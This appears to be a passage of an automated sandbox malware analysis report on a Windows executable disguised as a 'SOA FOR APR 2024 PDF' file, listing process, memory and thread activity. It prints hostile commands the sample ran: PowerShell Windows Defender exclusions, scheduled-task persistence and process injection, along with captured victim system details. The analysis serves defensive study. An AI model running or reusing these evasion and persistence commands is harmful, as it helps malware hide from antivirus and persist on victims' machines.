Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98669
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98562
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98453
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98343
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98234
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98124
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98015
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97906
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97797
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97687
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97578
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97468
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97359
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97250
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199922
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199813
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199688
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199563
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199438
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199329
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199204
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199079
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198954
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198829
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198713
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198597
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198467
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198360
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198249
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198141
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198016
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197891
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197782
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197657
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197532
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197422
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197312
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197203
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99891
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99781
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99672
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99563
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99438
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99325
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99219
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99094
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98985
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98860
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98735
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98610
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98485
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98360
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98235
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98110
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97985
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97860
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97735
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97610
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97484
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97372
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97265
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 97156
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96892
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96766
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 96625
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199988
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199833
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199703
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199594
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199484
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199375
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199265
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199156
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199047
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198938
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198813
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198688
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198578
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198469
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198344
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198234
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198125
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198015
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197906
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197797
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197687
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197578
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197469

Source: SOA FOR APR 2024 PDF.exe, 00000000.00000002.2077429263.0000000009CB0000.00000004.08000000.00040000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000000.00000002.2071533656.0000000004557000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CjieVEhOcdajCk6j0raZbjhWuHb1LQPLywa9D4B6EPMt7Nun3yQaI5fTCZTvdpopkx5bgW8ETp9pHcTtX8QVm9TwdeVACB3DHPDTYTwje076ThpHiExuyr2n0yOge1UserControlSystem.Windows.FormsGnlH9cqJCh0ZXnp8mGUITypeEditorSystem.Drawing.DesignSystem.DrawinggTdATB67FNtORV17YvEnumf5TiJdN9Bou9Q3xtWunGmLwVBnVfTdlp5BLMURqoV1LhkZEcr5B7SEbiZh2gK40cl2yGnYqtMulticastDelegatecHLRchCmNvpnMUhuxtVAyS34ITGf7b2iLRjKR3A9U35KfOwwEmxovilYaLnGD1uR3vfgP7UxlUIc0VfC3HYObaDCCnni52VbPhdJDEiWirelMq7PbOpPVvyugSSPCDHgq6cTe88XF7y76a9vN8IuM3Y5uaAx3aWB7hGo1htc7qqIjxwsJf3ltCqaDPXOlSyMTs5xHGhDg4MjZZrfMFYlfNAPj5B6WlmCLLyG1dqwGlxW3M9nnjOETYtamVKpOYJq733dMTP5XwhODvPFlaf8218f21jXMt2tA3hPqIbkW1Yq736dEdzR962jgwJTBy3llXmIQjWXqcJf5GwJ80QgHJwofKNbEAj1NqeoHrSVOcGry4VRIcmlRjnwWlvwucTM9lKq0PYnrVYHNtXG1aUhRX4l54uI8IjuuVQB19vvI7AaggOJf5kGITltdpbQkdlLUWK98aPhSjMAkSLdoffYwv2cBCQX4G7aqGWhqqODlmX5ae6Zl0JrtdgPULBcsU4NCG9dpGSTZZXdQUJK0UCO08Hh8mUbW4bIRmRSOEmD3T4wo0nSGl4eGucR0b01PKM2hmDRPqolS2BO314YeOCJo2JEiYWZGC26Mg27EventArgsvrXuU3w65ot0jPRPDPApplicationExceptionhBijZRtWbDg84TdWNqwXATugk9wSyYEyEcyLw6iaBXy0lNlijfRFCyPn5BBaFIx4XqemuESDAdTDBmj5wP70ngiXNIpM80BPcxvs4LY9xqQ0tBds93ssCpjlCvnUZqyc7qrk8Tc5bj7LoIC3oBEhsVWmimMw51DsPZe5FEW7AFJ6dV89uR7FRandomqt7PC3rIs2mV3uwCpYlSKOsXzsDqgETFxwXpExpandableObjectConverterSystem.ComponentModelrlr5Oauv8vspKmK80PTpakpIkuu8VRoyYfqsJCPRdGvIuhJmrOrqw5g6NgVZTkpuMgvv3J2liIu2<Module>{A9EFE4B9-2954-446D-8527-6AAE8CAD2F89}YmVarSudDOTaCV92sYLzBM0pUuTP74sfUUnO6kgO1EhpuqrZKJQlwf2KW<PrivateImplementationDetails>{2870AF46-B22A-45E9-B1AA-D47AF76E00FE}__StaticArrayInitTypeSize=256__StaticArrayInitTypeSize=40__StaticArrayInitTypeSize=30__StaticArrayInitTypeSize=32__StaticArrayInitTypeSize=16__StaticArrayInitTypeSize=64__StaticArrayInitTypeSize=18
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3275075106.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV
Source: SOA FOR APR 2024 PDF.exe, 00000000.00000002.2077429263.0000000009CB0000.00000004.08000000.00040000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000000.00000002.2071533656.0000000004557000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Pn5BBaFIx4XqemuESD
Source: eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: BjTxJte.exe, 00000014.00000002.3276901832.0000000001710000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3322622943.00000000066A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe"
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\eeBIYZL.exe"
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\eeBIYZL.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Memory written: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Memory written: C:\Users\user\AppData\Roaming\eeBIYZL.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory written: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory written: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\eeBIYZL.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpCB26.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpE2E4.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process created: C:\Users\user\AppData\Roaming\eeBIYZL.exe "C:\Users\user\AppData\Roaming\eeBIYZL.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmp9B5.tmp"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmp2ADA.tmp"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"

Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000289F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $jq3<b>[ Program Manager]</b> (27/04/2024 01:25:51)<br>
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000289F000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.00000000028B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Time: 05/25/2024 17:47:32<br>User Name: user<br>Computer Name: 035347<br>OSFullName: Microsoft Windows 10 Pro<br>CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz<br>RAM: 8191.25 MB<br>IP Address: 102.129.152.220<br><hr><b>[ Program Manager]</b> (27/04/2024 01:25:51)<br>{Win}rTejqTL
Source: eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $jq3<b>[ Program Manager]</b> (26/04/2024 11:43:08)<br>
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000289F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $jq9<b>[ Program Manager]</b> (27/04/2024 01:25:51)<br>{Win}rTHoq8
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002909000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 2.129.152.220<br><hr><b>[ Program Manager]</b> (27/04/2024 01:25:=
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000289F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLRjq`
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.00000000028B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Time: 05/25/2024 17:47:32<br>User Name: user<br>Computer Name: 035347<br>OSFullName: Microsoft Windows 10 Pro<br>CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz<br>RAM: 8191.25 MB<br>IP Address: 102.129.152.220<br><hr><b>[ Program Manager]</b> (27/04/2024 01:25:51)<br>{Win}r
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000289F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $jq8<b>[ Program Manager]</b> (27/04/2024 01:25:51)<br>{Win}THoq8
Source: eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $jq8<b>[ Program Manager]</b> (26/04/2024 11:43:08)<br>{Win}THoq
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.00000000028B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: @\jqDTime: 05/25/2024 17:47:32<br>User Name: user<br>Computer Name: 035347<br>OSFullName: Microsoft Windows 10 Pro<br>CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz<br>RAM: 8191.25 MB<br>IP Address: 102.129.152.220<br><hr><b>[ Program Manager]</b> (27/04/2024 01:25:51)<br>{Win}r
Source: eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLRjq
Source: eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $jq9<b>[ Program Manager]</b> (26/04/2024 11:43:08)<br>{Win}rTHoq

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Queries volume information: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
